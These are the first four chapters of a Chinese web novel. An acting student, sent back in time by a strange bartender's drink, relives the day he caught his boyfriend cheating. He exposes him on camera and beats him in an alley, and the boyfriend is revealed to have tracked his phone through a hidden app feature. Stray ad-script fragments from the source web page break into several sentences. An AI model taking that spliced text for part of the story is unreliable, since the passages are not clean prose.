《亲口死对头就回档》 1. 【001】 沈今越走出电梯。 正给大厅植物浇水的公寓前台管家瞧见他,惊讶极了:“诶,小帅哥,这么快就下来了?男朋友不在家吗?” 沈今越顺着声音方向看去,本能地在嘴角噙起礼貌微笑,记忆触及到关键词,男朋友三个字一下激发出沈今越在十八楼见到的画面。 他没忍住,胸口一阵翻涌,手撑着墙壁,猛烈地干呕起来。这动静吓坏了管家,忙走过来,给他递纸:“小帅哥,没事吧?怎么了?身体不舒服?” “谢谢姐姐,我没事的。”沈今越接过纸巾,擦擦嘴角,同管家再次道谢后走出公寓,抬头看了眼天空,明晃晃的太阳挂在头顶,怕听到身后传来渣男追出来的声响,他快步拦车离去。 恶心。 实在是太恶心了。 沈今越今天早上从出租屋出发,取完蛋糕和一堆派对道具往这公寓走的时候,从没想过事情会变成现在这样。 今天是他和徐云在一起的一百天纪念日。 他和徐云是在拍短片作业时认识的,他受朋友邀请临时去顶个配角,徐云是导演。 自那以后,徐云追了沈今越整整一年。 他对徐云的追求总是持冷淡态度,明拒婉拒都用了个遍,对方依然不知退却,是个光长个头不长耳朵的男人。 然而,在一个下雨天,他看着徐云傻乎乎地买来他随口一说的蛋糕,淋得像落汤鸡,特别蠢,蠢得他突然就想善心大发。 他其实有一万种表演方式,但那一天,他难得坦诚地对徐云说:“我可以答应做你男朋友,但是我还没那么喜欢你,我现在只是有点感动,你看这种情况你愿意接受吗?” 徐云听了这些话,笑着说好:“怎么会不接受呢?能和你谈恋爱是我觉得最幸福的事情。更何况,今越,你会有话直说这一点,我也很喜欢。” 这人嘴巴挺会说。沈今越笑笑,从此有了个男朋友。 秉持着做一件事就要尽善尽美的原则,他开始不断寻找徐云的优点,他们的关系循序渐进,保持着稳中向好,稳中有进的势头。尽管刚确定关系没多久两个人就因放暑假的缘故分隔两地,但这种略有距离感的恋爱正符合沈今越的节奏。 沈今越对此很满意。 他喜欢这种两个人的关系在他可控范围里按部就班发生的感觉,并特意在一百天纪念日为徐云准备了惊喜,认为这件事可以推进他们的感情。 他提前借口有试镜去面走不开身,没办法和徐云约会,在对方的体贴下表示歉意,实则背地里计划来个突袭。 徐云一直邀请沈今越去他的公寓玩,沈今越一次没去过。在男同恋爱三月就是金婚的年代,他这人还是略显保守了些。两人加起来都要奔五的人了,到现在也只是拉了个小手。 没办法,恋爱一百天里大部分时间都在异地,能拉手已是沈今越忙里抽闲大发慈悲。在这件事上,他承认,他节奏很慢。 拎着蛋糕和道具,杀到徐云家门口,已经想好了等会要怎么吹气球,摆彩带,再给出差在外的徐云一个回家惊喜。 心情美妙,哼着歌,密码嘀嘟输进去,门啪嗒打开,率先闯入眼帘的是散落一地的衣物。 乱七八糟不得过审的声音从玄关一侧传来。 对话里的每个字沈今越都听得清楚。他甚至听得出来,和徐云乱搞在一块的人是他见过的那位男孩,徐云同校的学弟,初次见面时,在他与徐云初识的剧组里,对方也在,演男主角,曾主动和他打招呼,笑起来眉眼弯弯,单纯可爱。 他们什么时候搞在一起的? 沈今越想不通,手死死紧拎着蛋糕袋。 他很想一蛋糕砸过去,砸在他们一览无余的身上,然后把气球打气/枪掏出来,如AWM一样,横扫这对傻逼狗男男。 愤怒在血液里翻涌,灌铅的双腿迈起来,他不想让自己看起来比现在更像一个笑话,于是只是安静地走到客厅,居高临下地看着地毯上两团蛆一样的身体。 在他们痴呆和惊诧的眼神里,试图解释的言语之中,他放下蛋糕,很体面地说:“徐云,分手快乐。” 紧接着,他用自己能够做到的最潇洒,最冷静,最不在意的背影离开了。 沈今越想,没必要发疯啊,他们算什么东西?他凭什么要为他们生气?气出毛病还不是他自己花钱去医院调理? 就这么淡淡地离开,是他最好的杀手锏。 点烟.jpg · “杀个屁!”晚上十一点,沈今越坐在酒吧吧台,打电话给自己的好朋友,他猛地灌空手里的子弹杯,啪地一下将之放在台面上,对着手机怒道,“施小音,我后悔了,我彻底后悔了。” “我装什么装?学个表演就真把自己当演员了?还潇洒冷静……我靠,我当时就该直接一蛋糕甩上去,我揍不死他俩?!我有毛病啊我!什么时候不装,偏偏这时候装?!” 施音:“对啊,你又不是truck,那么能装干嘛?” 沈今越:“什么意思?放点中文。” 施音:“……抱歉,最近沉迷雅思。这不重要。现在重要的是你的事,你真就这么算了?” 闻言,沈今越痛彻心扉。 他越想越气,他感觉他这辈子都完了。他会一生记得这一天,这比和谢明然吵架发挥失败还要令他沮丧垂泪。他一定会在某个深夜突然想起这回旋镖,然后跪坐在床头愤怒锤墙,再狂扇自己耳光,质问自己当初为什么没有动手。 沈今越咬咬牙:“要不我明天去找他俩算账。” 施音:“那你今天这一出冷静无情的戏白演了。” 沈今越:“那我怎么办?!” 施音:“哎,其实最好的时机还是事发当场。拍照录像一条龙,先占领道德高地,再零素质输出,不整得他俩跪地求饶誓不罢休。现在?晚了,都晚了。顶多徐云跪滑找你求饶,要是你脑残还能忍,不脑残也没证据搞他们。” “徐云这个狗比,亏我当初还把你找去帮忙跟组,这人最好别让我碰到他。对了,沈茸茸,你有证据吗?有的话发我,看我不把他们撕得身败名裂才怪。” 沈今越摇头:“没。” 别说证据了,这么长时间来,他硬是一点端倪都没品出来。 “沈茸茸,我发现了,你的恋爱运真的衰爆表。”施音长叹口气,“乖,下次别谈恋爱了,你这脑子但凡碰上点坏的,迟早把你人玩没了。” “我这边夜戏要开拍了,我先去搬会砖,等会给你打回来啊。千万要等我,我还没骂够呢。” 施音跟沈今越一个学校的,摄影专业,近来接了工作赚外快。天大地大,赚钱最大,沈今越说好,挂了电话继续喝。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 面前的酒杯全都空了,他招呼调酒师点新的。 一头红发的女人出现,成熟的脸,吉普赛风格的打扮。 “小帅哥,今日特调,想试试吗?” 沈今越趴在吧台上,仰头看她,歪了歪头:“啊?什么特调?” 调酒师:“唔,我想想,也许叫timeback?” “是一杯喝了以后就可以回溯时空的酒哦,苦艾打底,配些许后悔,噢,也许加点柑橘味道会不错,生活总有意外的酸甜,不是吗?再来一点接骨木花,肉桂茴香你喜欢吗?梵高喝了都说好。” 沈今越笃定:“姐姐,你喝醉了。”这胡说八道的能力比他狗比前任那张嘴还强。 调酒师轻笑起来:“也许。” “来都来了,你就试试醉鬼的特调呗。” “行叭。”沈今越半趴在吧台桌面上,“我品品。” 一杯下肚,很舒服,周围的一切都轻飘飘起来,他的大脑里有无数的空气在蹦次哒次跳舞,灵魂也跟着起舞。电话响了,是施音,她骂了一句,说拍摄又推迟了,傻逼导演去死,紧接着,沈今越听到她担心地喊自己的名字。 剩下的,沈今越记不清了。 他感觉自己睡了一会,又感觉自己睡了一个世纪。黑乎乎的城堡里,灯突然亮起来,十二点前的仙女教母出现又离开,留下的只有一道缥缈魅惑如海中女妖的声音。 “现在,睁开眼,亲吻你看到的第一个人。” “你会得到你想要的。” 是吗?沈今越迷迷糊糊睁开眼,在酒吧昏暗杂乱的灯光里,看见了一张熟悉又陌生的脸。 这波真是醉大发了。 沈今越想,他居然会梦到谢明然?恶心谁啊!臭谢明然,屎谢明然,全世界最坏的谢明然。 “你来干嘛?”沈今越扯起嘴角冷笑起来,“梦里也要来看我笑话?” 谢明然没说话,居高临下看过来的眼神叫他怒不可遏。 气啊!这人怎么在他的梦里都这么傲慢? 沈今越伸手就抓住对方的领口,这个梦好真实,手里的布料从他指尖摩擦而过。他本来想一头槌撞上对方的,但那句奇怪的话一直在他脑海里盘旋。 试试吧?反正都是梦。呵呵,既然谢明然敢出现在他的梦里恶心他,那他也要想办法恶心回去! 沈今越盯着谢明然的唇,在对方试图挣扎时砰地凑上去。嘴是挨着了,鼻头也碰到了。鲜红的血留下来,不知道是谁的。 沈今越咧嘴嘿嘿一笑。 梦里的谢明然一巴掌拍过来,把他脑袋推开,念了一句:“弱智。” 他要了纸,堵住鼻孔,单手把昏睡过去的沈今越扛起来。他搬人上车,跟司机报地址,车窗外酒吧街十二点的钟声敲响。 谢明然的世界出现了频闪,他来不及思考,只见后座上晕乎乎的人凭空消失,周遭的一切现实世界都塌陷重建,就像《失控玩家》里游戏世界数据堙灭时一样。 什么情况? 从昏睡中醒来的沈今越,本能地摸到手机看时间,一瞧,九月三号,一百天纪念日的通知正显现在屏幕之上。 沈今越皱紧眉头,用手背狠狠蹭揉了下眼睛。 眼花了。 一定是他眼花了。 不然那堪比地狱的一天怎么会重来? 2. 【002】 沈今越快速从床上爬起来。 他走出卧室,发现施音正在客厅收拾行李。 “你几点回来的?又接到活要出门了?”他困得要死,打了个哈欠,“什么情况?昨晚你送我回来的?”不是的话,难道他喝醉失智以后竟有如此实力还能自个回家? 施音一脸茫然:“你在说什么啊沈茸茸?哪个活?我就这一个活啊!” 沈今越:“你看,又演上了。” “演个锤子。”施音不知道沈今越又犯哪门子病,“我先走了,得赶动车去外地的剧组,晚上还有夜戏。你说的那个餐厅预定电话我发你了,祝你今天纪念日愉快~徐云这小子有福咯!” 沈今越眉头紧锁:“呕——” “整蛊就整蛊,用不着这么恶心我好吧?” 施音白他一眼:“谁整蛊你?!你发什么癫?!” “你和徐云出问题了?” “这还用问?”沈今越瞪大眼,“我昨天不是已经跟你说过了?” 施音被他这理直气壮的语气震慑到了,不禁开始反思:“你说过什么?”她怎么一点印象都没有。 沈今越自以为聪明地灵机一动:“我明白了,你是不是想要我铭记这件事,好好记住这个教训,所以还特意给我的手机调了日期——” 听到这乱七八糟的发言,施音悟了,眼前这人又在发疯。 “调个屁,姐真没空跟你掰扯,滴滴在楼下等我了,走了,过两天见。” 施音的演技什么时候变这么好了?沈今越竟从她的脸上找不出一丝问题。 “你们摄影系也上表演选修课了?”沈今越好认真,“哪个老师啊?教得真不错。” 施音啪地关上门,回给他一个漂亮的中指。 沈今越待在门口,想看看这场戏什么时候才能收尾叫停。一分钟,五分钟,十分钟,施音没回来。 他纳闷,拿出手机打算给施音发消息。 只茸:真走了? melody:不然?我骗你做什么? melody:我发现你今天睡醒以后脑子就不对劲,你没事吧? melody:餐厅电话我发你了,在这,你别忘了预定。 施音引用了聊天界面里上方的一排号码。 沈今越一排问号还没发出去,备注为[爱心][爱心]的的人就弹来消息。 [爱心]:今日报备[图片] [爱心]:我也在外出搬砖的路上啦!晚上就回! [爱心]:醒了吗宝宝?今天的试镜加油哦!不能一起过纪念日也没关系!明天我们再补上! 就这么一眼,沈今越的脸皱巴成一团。 不是,他昨儿不是把这人都删除拉黑一条龙了吗?怎么还能看到他的消息?卧槽,这人脸皮果然厚,都那样了,还能跟他演?! 这可是你自己撞上来的。 沈今越噼里啪啦在对话框输入了一长串骂人的话,在点发送的前一秒,指尖悬停,动作中止。 等等。 好眼熟的对话。 昨天一觉醒来,渣男也给他发过这句话。他当时觉得贴心,现在回味过来,这人分明就是在试探他。 事实上,在他计划搞惊喜,说了自己有试镜以后,对方就说他正好也有接活。现在想来,这哪是搬砖的活,分明是搬人的活。 不对劲。 沈今越把图片下载,这是一张随手拍高铁风景图。他反手将之传到网站上识图,一模一样的照片跳到他眼前,一看图片来源,上面写着“助人为乐,搞个报备专用图楼”。 顺藤摸瓜点进去,一眼扫过,每张图沈今越都眼熟。 徐云,你真行。 沈今越把所有骂人的话全都删掉了,强行冷静下来。 他去衣柜里找昨天穿过的衣服,它们没一身酒气地躺在脏衣篓里,而是挂在衣架上,透着白桃味的香。他的手机上,气球一类的派对用品显示还在派送,就连打开手机预定饭店,九月三号这个选项也赫然在列。 所有的一切飞快地在沈今越脑海里拼凑出一个离谱的可能性。 难道—— 那个用离谱话术搞推销的调酒师真没骗他?! 他真的回溯时空了!? 如果是这样的话,一切都说得通了。 施音不知道发生了什么,和计划里一样赶去剧组工作。徐云也还没被他抓到现行,正水灵灵地表演着深情人设。 记忆里糟糕的一切都没发生,所有人都不记得那些瞬间,他拥有第二次机会来逆转那些叫他后悔不已的时刻。 除了…… 沈今越的脑海里浮现出一张人脸。 喝得太醉了,那杯酒效果太顶,他都记不清了。谢明然真的出现了吗?谢明然怎么会出现在那?他不是该在国外吗? 无数个问题蹦跶出来,最终化为一句惊天动地的质问: 他真的亲了谢明然? 不敢想,想不了一点,再想下去沈今越怕隔夜饭都会吐出来。 疯了,这个世界当真疯了。 不想了。 沈今越啪啪两声拍拍自己的脸颊,叫自己镇定下来。 既然一切重来,那只要他晚上如期抵达酒吧,就能遇到那个奇怪的调酒师,也能搞清楚谢明然是否在那。 在此之前,他有另外一件重要的事。 沈今越转头,看向卧室书桌上,他和徐云在游乐园拍的合照用精致的木雕相框装着,摆放在其上。 他笑得温柔,徐云也是。可事实上,那天他一点也不开心,天气很热,小孩很吵,游乐园就是个蒸笼。他完美地表现了一天,就是为了让他和徐云的感情能够向好向上发展。 说起来,这张照片还是那位学弟拍的。徐云喜欢带着沈今越出去和自己的朋友一块玩,学弟也是朋友之一。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>也不知道当时他们搞在一起没有。 徐云此人,真是三折叠,怎么折都是渣。 沈今越面无表情地把照片丢进垃圾桶。 这学弟叫什么来着?沈今越记得他们有加联系方式。他点进徐云的朋友圈,在每条动态下面都找到了同一个头像。自拍当头像,灿烂笑容,备注是李佳文。 李佳文。 他拿起手机,思忖片刻,放弃给李佳文发文字消息,转而给他打了个电话。 李佳文没接,过了十分钟,说刚刚在忙,没听到,又问怎么了。 只茸:学弟你好,我是徐云的男朋友~ 只茸:有件急事想请你帮忙!拜托拜托! 是的,你没看错,以上这两行字的确是沈今越发出去的。 沈今越在人前常戴一张名为‘温柔好说话’的面具,这是他的生存方式之一。 指尖轻点手机边缘,哒哒哒,沈今越低头瞥了眼黑色屏幕上的自己,一秒,两秒,他嘴角轻扬。 “诶,学弟。”沈今越面上焦灼,手却慢条斯理地玩着睡衣的纽扣,“怎么办呀!” “学长,别着急别着急,出什么事了?” “今天是我和徐云的一百天纪念日,但我有事实在走不开,心里过不去,订了蛋糕和礼物,他晚上出差回来,你帮我送给他,好不好?” “啊?不太方便吧?” “这有什么不方便的?大家都是朋友呀。我实在找不到其他人了,你可以帮帮我吗?” 沈今越演得太真切,真切到李佳文都忍不住觉得这人实在是蠢得可怕。 电话一挂,李佳文回到卧室,徐云紧张地问:“他给你打电话做什么?发现了?” 李佳文嗤笑:“怎么可能?那个蠢货,让我今天来陪你。” 徐云松了口气,表情不知道在想什么,李佳文把手勾上他脖子,又吻上去。 “继续。” 是得继续。 沈今越瞧着黑乎乎的屏幕,上面映出他的脸,冷然凌厉。李佳文可真会挑位置跟他打视频,人在客厅,他一眼就认出了那沙发窗帘。还好,就算重来一遍,这两人也在以超越他想象的方式搞在一起。 沈今越微笑起来,开始拜托学校里相熟的朋友。 “今天是我和男朋友的纪念日,我想给他一个惊喜,一个人有点忙不过来,大家可以来帮忙吗?” 找了三朋四友后,他又给施音打电话。 “在?有没有轻点便携方便拍视频的东西?不要你那一堆重的。” 施音:“拿吧,书房器材柜第三排,你找找,有个小的。” 施音:“你要干嘛?终于想开了准备拍vlog营业了?” 沈今越:“是啊。” 施音:“什么赛道?帮你参谋一下。” “那感情好啊。我这全新赛道。”沈今越阴恻恻笑了,一字一顿地说,“捉、奸。” 3. 【003】 “真的太感谢大家了。” 九月三号,初秋的阳光明而不灼,沈今越站在公寓门口的庭园旁,笑得比花还漂亮。 他微微弯腰与来帮忙的同学道谢。 “嗐,这有啥。”最先在微信上响应沈今越的女同学大大方方地摆手,“反正今天也没事,来吃两口你们小情侣的糖也是好的。” “哇,越越,你男朋友挺有钱啊,租这里,这租金不便宜嘞。我听说好几个小花小生都住这。” “越子,你以后要是发达了,别忘了我们呀。”同班同学打趣,“你要不问问,要是他们戏剧学院还有没有这种有钱又帅人还nice的导演系男生,也推荐给我试试啊。” “对,徐导是真不错啊,我上学期期末的时候都看他来接小越好几次了。” “这话说得!我们家越子也很厉害好不好?专业全国第一,文化能上重本,年年期末临近满绩,配他绰绰有余好伐?” 大家七嘴八舌地闹着,沈今越在旁笑着聆听。 沈今越包车过来的,后备箱塞满了玫瑰,成袋的气球,色彩缤纷的彩条。现在从后备箱里挪下来,抱在几人手中,搞得周围路过的人频频行来注目礼。 “今越,看这边。”施音特别给沈今越找来的vlog达人朋友拿着大疆pocket3对着沈今越招呼,“这个光真的绝了,来来来,所有人都站在这拍一张,咱们这就往里走。” 进公寓的流程与沈今越昨日经历过的一样。 在前台报备签到,跟管家说自己是来找男朋友的,提供证明后,在对方姨母笑的眼神中走入电梯,拿出手机,寻找到早些时候徐云邀请他到公寓玩时发来的开锁密码。 十八层抵达,几人噤声,互看一眼,悄咪咪地抱着东西出了电梯,轻手轻脚,做贼姿态,偷感十足。 沈今越被逗笑:“他不在家的,不用这样。” 他拿出一早准备好的一次性鞋套,给大家分发,万事准备齐全,嘀嘟开锁,推门而入。 “大家进来吧。”他眉眼轻快,语气透着紧张和期待,“东西先放客厅就好。” 拿着pocket3的人已迫不及待走进去,准备来个360度大运镜,录下公寓的全景。 身子刚刚往客厅转了稍许,这人就定住了。 “卧槽——”画面太过炸裂,他只得出此言语,紧接着,转头喊,“今越,你等会,你别——” 在客厅吻得热烈的两人都愣住,徐云本能地推开还在往自己胸口蹭的男孩。 李佳文不爽,抬头看去,今天说要出去试镜的人声音响起。 “怎么啦?”轻盈的脚步声以后,徐云看见了沈今越。他定在原处,面色一瞬苍白,浑身的灵魂仿佛被抽去,只余下一纸空壳,好似风一吹就能倒下。 “今越!”朋友担心地搀扶过来。 看起来一碰就碎的沈今越心里在庆幸。 还好他提前知道了时间线,今天比昨日早些来了,赶上两人接吻的画面,没瞧见昨日那般更过分的。 这不是沈今越善良,他只是不想自己眼睛再被污染,撞见春色一片,也不想让施音的拍摄设备里留下那种肮脏画面。 徐云第一反应就是站起来,走向沈今越,同他解释,和昨日一样,喃喃问:“越越,你怎么来了?” 不同的是,今天几人拦在了沈今越的面前。 同样一出戏,沈今越换了个演法。 “我怎么不能来?”他悲伤又愤怒,“徐云,这就是你给我的纪念日礼物吗?”好非主流的台词,沈今越在心里腹诽,但他知道徐云就爱这一款。 “不是这样的越越。”徐云仓皇无措,“都是他……他今天说来替你给我送蛋糕,然后……” 李佳文啧了一声:“都是我?明明是你早上就打电话给我,说你男朋友明天不陪你过节。” 沈今越很冷静地问:“你们经常这样?” 徐云避之不及地摇头,李佳文见状,冷笑起来:“当然。” “沈今越,你不知道吧?半年前,你拒绝徐云一块去酒吧那次,我去了。” 徐云立刻找补:“那都是意外,越越,你知道的,我心里只有你。我跟文文……我跟他只有这种关系。你也是男人,你懂吧?” 沈今越笑了,被这荒唐的发言搞笑了。 他懂什么?他几把又没长脑袋顶上。 “徐云,我们分手了。”他盯着徐云的眼睛,说了今天最真诚的一句话,“真的,你让我觉得恶心。” 太荒唐的场面,没人想久待,三俩朋友护着沈今越离开,用来准备派对的用品零落在地上,红色花瓣乱糟糟一片,被踩了个遍,若要为这置景取个名字,那《玫瑰花的葬礼》一定不错。 徐云咬咬牙,试图跟上去,喊沈今越的名字。 一直负责录像,玩摄影的哥们肌肉发达,一反手就把徐云推倒在地。 走出电梯,离开公寓,怕被这狗男男追上,沈今越立刻打车先把一同看戏的几位送走。 大家都放心不下。 “越啊,别憋着,有什么事就跟我们说。” “我早说了,戏剧学院的都不是东西,当然,电影学院的也不行,算了,导演系都不行,学艺术的男的也都不行。反正我谈了这么多个,没一个行的。” “靠,姐妹,你半个小时前不是这么说的啊!” “越子,接下来你打算怎么办?” 沈今越虚弱一笑:“我不知道,我现在脑子太乱了……抱歉……” 众人体贴他遭此劫难,纷纷劝言要他想开一点。 沈今越说好。 挨着把人送回学校或者住所,沈今越躺回家里。 他正把pocket3里的东西导出,施音很快来了电话。 “捉完了?” 沈今越懒洋洋地窝在电脑椅上:“情报挺快啊。” 施音:“废话,这可是电影学院,一个年级就五百来人,八卦传得比破校园网的网速还快。” “你知道现在剧情演变到哪了吗?” “嗯哼?” 施音声情并茂地朗读群聊内容,又总结道:“这下快要搞成戏剧学院和电影学院的battle大战了。” 沈今越满不在乎:“平日里还少了?不是成天在争吗?” “这跟那演员演技质量battle不一样,现在是渣男大比拼!!”施音跃跃欲试,“现在怎么说?你要直接去网上曝光他俩吗?这事我录音系的朋友熟啊,她上次手撕渣男,写了30页pdf论文,我帮你去把模板要来?” “我疯了?”沈今越眼珠子瞪得老圆,“我都没写过这么长的论文,好评返现憋个十五字都要命,为他还费这劲?” “也对。”施音觉得在理,“那录像好了没啊?我好想看,快点传给我。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈今越瞄了眼还在慢吞吞导出的界面:“还早,导超慢。” 施音叹气:“哎,大疆就是这么个破毛病。” “沈茸茸,我说,这玩意儿你不发留着干嘛?” “时刻提醒自己这一年来有多蠢?”沈今越讥讽道。 “呸,宝宝,我不准你这么说。”施音大怒,“禁止受害者有罪论!你哪里蠢了?要怪只能怪他俩太会演,戏剧学院真有点东西。” “你笑什么?我和你说认真的。”施音一改不靠谱的语气,“我觉得你这一百天来特别棒,你很认真,很努力,我知道你很想经营好一段感情。事情变成现在这样,不是你的错,沈今越,我不准你胡思乱想,知道吗?再说了,真要这么追根溯源,那也是我有问题。我就不该介绍你去他那学生剧组。” “这么严肃干嘛?怎么你还找上自己问题了?”沈今越大惊,“小音音,我就演一演啦,你信了?” 施音:“……滚,能不能不要随地大小演?” 沈今越轻笑:“那怎么行?读了表演,就得把自己当演员啊。” 沈今越想过今天直接冲上去找人把这群狗男男暴揍一顿的,脑子上头一秒,又反应过来,真打了以后,男同纠葛要是闹到警察局去,他就不在理了。他不想这么一个案底跟他一辈子,万一他哪天走狗屎运意外红了呢? 虽然如今社会各界,甚至娱乐圈里公开出柜的人不在少数,但因男友出轨打架进局子……啧,这事闹出去多丢人。 一次恋爱,黑料一生。 施音曾吐槽他,红字还没一撇,偶像包袱就先端上了。 不管怎样,沈今越思来想去,还是干回了自己老本行。 整点小表演,玩点小绿茶,在徐云最在意的颜面和对外形象上击溃他。 占据道德高地的同时博满同情,手握证据以备不时之需。 温柔好说话的沈今越是不会暴躁如雷地丢蛋糕打人的,校园白月光就要有白月光的行事风格。 就这么个人淡如菊.jpg 他点开屏蔽多年的群聊,瞧校友都在骂徐某某,心里又爽了会,接着,无视徐云发来的一堆消息,再次拉黑删除一条龙伺候,顺手把李佳文也丢出了自己的列表。 徐云反应很快,马上用小号来加,对方一直在好友申请里发消息。 「今越,这事是我糊涂,对不起。」 「今越,我跟李佳文真的没什么,之前那次是喝醉了,后来他一直缠着我,我就没忍住,我们只」 「我们只是一不小心变成这样。」 「今越,你原谅我好不好?」 「我真的很喜欢你,我以后再也不这样了,我们重新开始,好吗?」 「我去找你,我们当面说,好吗?求你。」 沈今越脑子里冒出无数个问号,想不通徐云哪来的脸。很快,他又告诉自己,不用试图理解傻逼,那不是他能涉猎的领域。毕竟人猪殊途啊! 他把这信息截图留存,继续将之拉黑。 做完这些,沈今越伸了个懒腰,挑了件全新的衣服,真怕徐云发神经找上门,外出吃饭,吃完去酒吧。 他掐着如昨日的时间抵达,第一件事就是去吧台找人,没见着那抹奇异的红色,他便问在岗的人,笑得乖巧礼貌:“你好,请问你们这有一位红发女调酒师吧?她什么时候来上班呀?我找她有点小急事呢。” 4. 【004】 “红发调酒师?”吧台的招待生满脸纳闷,绞尽脑汁想了半天没得出答案,转身问不远处的同事,再回来时,一脸歉意,“不好意思先生,我们这绿头发蓝头发没头发都有……红发调酒师,真没见过。您看,是不是您不小心记错了?” 沈今越怔愣,补充道:“我没记错的,我昨天,不对……我之前来这,见过她。” 他拿手比划起来,“头发这么长,带卷的,大概有二十七八三十的样子,对了,她还会一杯特调,叫timeback,那个酒……” 沈今越看得出来,招待生现在瞧他的眼神深处藏着对一个酒鬼的怜悯,仿佛他是喝嗨了嗑嗨了的疯子,此刻跑出来胡说八道来了。 他牵动嘴角笑笑:“好吧,是我记错了。” 也许真没这个人。 可他是实实在在回溯了一次,他脑子没问题,人也没发疯,这真不是梦,印象里所有的一切都在如期重演,他的生活又不是《楚门的世界》,除了老天奶,还谁有这能力铺排一切? 红发女子…… 她难道也没失去记忆,所以故意没出现在这?想不通,这整件事回忆起来都是迷幻色彩,沈今越决定在一些细枝末节的逻辑上放过自己。毕竟喝杯酒回溯时空这件事已经不是逻辑可以解决的。 生活还真会给他开玩笑。 沈今越要了一杯酒,百利甜牛奶,度数低,喝起来像甜品。他这次没库库一顿喝,而是保持着细品的姿态,主打一个消耗时间。 他就坐在酒吧进门的吧台,最好的视野,只要一抬眼,就能把进进出出的人一览无余地捕捉完全。 沈今越在等另外一个关键性角色出现。 谢明然。 他心里百分之一百不想要看到谢明然出现在这,他希望昨晚关于谢明然的记忆都是虚构的,他可能只是恰巧碰上一个和谢明然长得很相似的人,意外地亲了上去。想到这,沈今越停下喝酒的动作,抑制住胸口翻涌的恼意。 他如等待行刑的死囚犯,坐于罪恶的高椅上,时刻准备着叫那迎面的子弹袭来。 熟悉的人影终于出现,但不是谢明然。 沈今越骂了个爹。 徐云这b怎么会出现在这? 他下意识想躲,屁股从椅子上抬起,脑子就遏制了接下来的动作。他躲什么?他又没做错。 “越越,你果然在这。”徐云气喘吁吁地走过来,“我找你好久,我们谈一谈,好吗?” “你来找我的?”沈今越眉头紧皱,“你怎么知道我在这?” 徐云:“我朋友说在这见到你了。” 不可能。 这话以前沈今越会信,现在不会。因为他发现徐云说这话的时候,眼神语气和过去在他面前提及李佳文时如出一辙。这是一种下意识的反应,亦或者模板化的表演方式。 徐云在撒谎。 沈今越胸口的火气噌地一下腾烧起来。 徐云跟踪他?! 沈今越觉得自己再也演不了一点,他几乎想要发疯地大喊,在张嘴前一秒,他克制住了。 他看向徐云。 “聊聊可以,去外面。” 徐云大喜,连忙说好,狗腿一样跟在沈今越的身旁,护着他往外走。 沈今越冷眼看着这一切,领着徐云到酒吧的偏门,这是一个小巷,半夜的灯光昏暗地落在地上,零星的啤酒瓶散落在墙边,发酵的难闻气味涌来,就像徐云如今留在沈今越印象里的味道一样。 徐云张开嘴,沈字的第一音节刚冒出来,腹部就涌上一股强烈的力度,五脏六腑震动,身子往后砸去,背脊摔上墙,他不敢置信地瞪眼。 沈今越两手插兜,一脚踩在他脸庞侧的墙上。 曾经在徐云眼里最漂亮最温柔的人,此刻弯腰下来,细碎的黑发遮不住他偏茶色的琥珀眼瞳里的冷漠与不屑。 “徐云,是你自找的。”他很想不通,“你就不能干干脆脆像个成年人一样,为自己的过错承担责任吗?还来找我做什么?就这么欠这一顿揍吗?” “聊聊?聊什么?我和你能有什么好聊的?” 徐云被揍以后再也不演了,他撕破脸皮,想要起身一拳揍过来,手腕却被沈今越一脚踩住。 他痛叫一声。 “沈今越!”徐云大喊,“我都说对不起了!你还要我怎么样!你就不能再给我一次机会吗!” “当初在一起的时候,我不也给过你机会吗?!” 沈今越气笑了:“什么机会?跟你谈恋爱谈成这么个结果我还要谢谢你是吧?长个几把真把自己当皇帝了选上男妃了还?” 他瞄到一旁的酒瓶,有种学电视剧里把瓶子当头砸上去的冲动。可惜,这么些年来,沈今越学会的事不多,克制冲动算一个。他嫌恶地用力踩向徐云的手腕:“说吧,怎么找到我的。” 徐云没辙,交代了所有。 他借着当初拿沈今越手机改微信备注的时候,给沈今越的手机下载了一个情侣app,上面有隐藏的付费功能,可以定位。 沈今越当场把app删掉,在疼痛折磨里的徐云终于有一丝理智回笼,他哀求:“越越,我错了,我真的错了,我刚刚说的那些话都是胡说的,我真的很爱你,你原谅我,好不好?一次,就这一次。” 沈今越的脑子已经飘到了其他地方。 他想,他应该把今天徐云的丑态录下来,发给好朋友崔崔,为他坎坷的剧本创作生涯提供一些精彩素材。 他又想,以徐云的性格,估计只会把这顿揍闷头咬牙往心里吞,毕竟说出去,他也不光彩。早知道就下手再狠点了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “以后别出现在我面前。”在徐云第三次说着‘我真的不能没有你啊越越’时,沈今越回神,打断他琼瑶式的输出,“徐云,你好自为之。” 沈今越收回腿,嫌恶地在地上踩蹭好几下,转身往小巷外走。余光瞄到一道身影,沈今越心惊一瞬,暗道,不会被人看到了,拍下来了,有黑料了?他脑子里飞快闪过解释的话语,面上噙起亲切的笑容,走近,黑暗被明亮驱散,来人的面庞清晰。 沈今越的笑容消失得荡然无存。 心里的担忧一瞬化为乌有。 这不是安心,而是见到谢明然以后本能地自暴自弃。毕竟眼前这人,从小到大都擅长识破他的伪装,并加以刻薄嘲讽。 要是谢明然想搞他,手里的黑料已数不胜数,实在不差这小小一茬。 “看什么看。”在谢明然面前,沈今越早就习惯毫不遮掩自己的本性,次次见面先出言挑衅已成另外一种条件反射,“再看收费啊。” 小巷很窄,他从谢明然的身旁撞过,将他挤开。 “这么多,够?”谢明然从钱包里抽出一沓红艳艳的美丽钞票。 沈今越:“神经病,搁这显摆?就你钱多是吧?” 谢明然:“真还不缺。” “三千,你再回去打他一拳?” 沈今越真不明白了,奇怪地看着这人:“你跟徐云也有仇?” “看不惯想揍他还需要理由?长得奇形怪状逃跑的样子像被拖鞋抽打过的蟑螂……沈今越,你笑什么?” 沈今越望着小巷那端徐云仓皇狼狈离开的样子,一口大白牙收不回来,头一次觉得谢明然这张嘴多少也有点用处。 “我想笑就笑,要你管?”他毫不客气地把谢明然手中的钞票抽走,“也不知道你在那看了多久,票钱我就收了,再见。” “喔,拿走吧。”谢明然双手插兜跟在他身后,慢悠悠地走着,讲话的语气也慢吞吞,“赏你的医药费,记得去看眼科。” 沈今越:“……” 